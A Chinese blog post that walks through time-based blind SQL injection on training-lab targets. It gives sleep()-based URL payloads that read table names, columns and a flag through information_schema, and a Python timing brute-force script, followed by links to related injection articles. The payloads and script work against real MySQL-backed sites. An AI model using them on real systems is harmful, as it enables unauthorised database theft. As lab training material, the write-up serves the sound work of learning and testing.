延迟盲注

你不知道你输入的数据在sql被执行后是否是正确或错误的。你只知道有数据。

利用原理

借助if语句,如果正确就sleep(5),延迟5秒返回数据。通过数据返回的时间大小判断自己的语句是否正确执行。因为如果正确执行,会休眠5秒。错误执行,立马返回!

靶场1

0x01 是布尔盲注还是延迟盲注

payload

http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1" and 1=2 -- qwe

这么明显错误的语句,没有报错。只知道是有数据的。那么肯定不是布尔盲注

0x02 判断延迟盲注

payLoad:

id=1%22and%20if(length(database())%3E100,0,sleep(4))%20--+qwe

0x03 进一步注入查表

正确立马返回,错误休眠5秒

payload:

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,0,sleep(10)) --+

然后开始爆破。因为我的intruder测试模块看不了响应的时间,所有我写了个python脚本去跑。以下源码和结果:

源码:

# -*- coding: utf-8 -*-
import requests
import time def Timesql(proxies, user):
for i in range(1,23): #数据长度 这里我偷了下懒 没有先获取长度
for payload in range(35,130): #遍历取出字符
startTime=time.time()
url = 'http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1"+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),' + str(i)+',1))%3d'+str(payload)+',sleep(6),0)--%20qwe' #url
cookies = {
}
response=requests.get(url,proxies=proxies) #发送请求
if time.time() - startTime > 5: #判断是否延时了5秒
user+=chr(payload)
print(chr(payload))
break
if i != len(user): #无数据时候自动结束
break
print ('\nThe result is: '+user) def main():
print ('begining \n')
ip = '127.0.0.1:8080'
proxies = {
'http': 'http://' + ip,
'https': 'https://' + ip
}
user = ''
Timesql(proxies, user) if __name__ == '__main__':
main()

结果:

爆破字段

payload2

1%22+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_schema%3ddatabas
e()+and+table_name%3d'loflag'+limit+0,1),3,1))%3d129,sleep(6),0)--%20qwe

图片:

查看字段内容

payload:

1%22+and+if(ascii(substr((select+flaglo+from+loflag+limit+1,1),1,1))%3d88,sleep(6),0)--%20qwe

图片:

靶场2

原理一样,注意闭合括号就好了。

payload:

1')+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),3,1))%3d75,sleep(6),0)--%20qwe

图片:

SQL注入之延迟盲注的更多相关文章

  1. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  2. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  3. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  4. 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  5. SQL基于时间的盲注过程

    0x00 前言 由于要使用到基于时间的盲注,但是我觉得基于时间的盲注其实就是基于布尔的盲注的升级版,所以我想顺便把基于布尔的盲注分析总结了: 首先我觉得基于时间的盲注和基于布尔的盲注的最直观的差别就是 ...

  6. SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}

    首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...

  7. [sql 注入] insert 报错注入与延时盲注

    insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...

  8. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  9. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

随机推荐

  1. Lua中如何实现类似gdb的断点调试—08支持通过包名称添加断点

    在前一篇中我们支持了通过函数名称来添加断点,我们同时也提到了在Lua中一个函数的名称的并不是确定的.准确的说,Lua中的函数并没有名称,所谓名称其实是保存这个函数值的变量的名称. 于是通过函数名称添加 ...

  2. Django基础三之路由、视图、模板

    Django基础三之路由.视图.模板 目录 Django基础三之路由.视图.模板 1. Django 请求和返回周期 1.1 路由层之路由匹配 1.2 有名分组 1.3 无名分组 2. 反射解析 3. ...

  3. 在线O(1)求逆元

    怎么还有厉害的在线O(1)求逆元,不过常数确实有点儿太大了 本文大部分搬运于这里 相信大家都做过 POJ2478 这道题吧,这道题的 Farey 序列 \(F_n\) 包含了分子分母不大于 \(n\) ...

  4. ArcMap操作随记(9)

    1.类似PS中功能的工具 [镜像要素].[比例].[延伸] 2.快速获得栅格统计参数 [获取栅格属性]工具 3.[编辑器][创建要素][构造工具] 可以右键,输入半径等参数 4.计算面的角度 [计算面 ...

  5. 从源码分析RocketMq消息的存储原理

    rocketmq在存储消息的时候,最终是通过mmap映射成磁盘文件进行存储的,本文就消息的存储流程作一个整理.源码版本是4.9.2 主要的存储组件有如下4个: CommitLog:存储的业务层,接收& ...

  6. 串和KMP算法

    一.串 串是由零个或多个字符串组成的有限序列 (一).串的定义 定长顺序存储 特点:每个串变量分配一个固定长度的存储区,即定长数组 定义: #define MAXLEN 255 typedef str ...

  7. 【OpenHarmony移植案例与原理】XTS子系统之应用兼容性测试用例开发

    摘要:本文主要介绍ACTS应用兼容性测试用例开发编译. 本文分享自华为云社区<移植案例与原理 - XTS子系统之应用兼容性测试用例开发>,作者: zhushy . XTS(X Test S ...

  8. 5月9日 python学习总结 外键、表之间的关联关系、修改表、清空表内容、复制表

    一.外键foreign key    外键约束: 1.必须先创建被关联表才能创建关联表 2.插入记录时,必须先插入被关联表的记录,才能插入关联表(要用到被关联表)的记录 3.若不设置同步更新和同步删除 ...

  9. djinn

    靶机准备 将靶机ova文件导入虚拟机,并将网络设置为NAT 开机获得ip:192.168.164.188 kali:192.168.164.137 渗透测试 扫描端口 nmap -sS -sV -T5 ...

  10. [Java编程思想] 第七章 复用类

    第七章 复用类 第一种方法非常直观:只需在新的类中产生现有类的对象(组合). 第二种方法更细致一些:它按照现有类的类型来创建新类(继承). 7.1 组合语法   只需将对象引用置于新类中即可. cla ...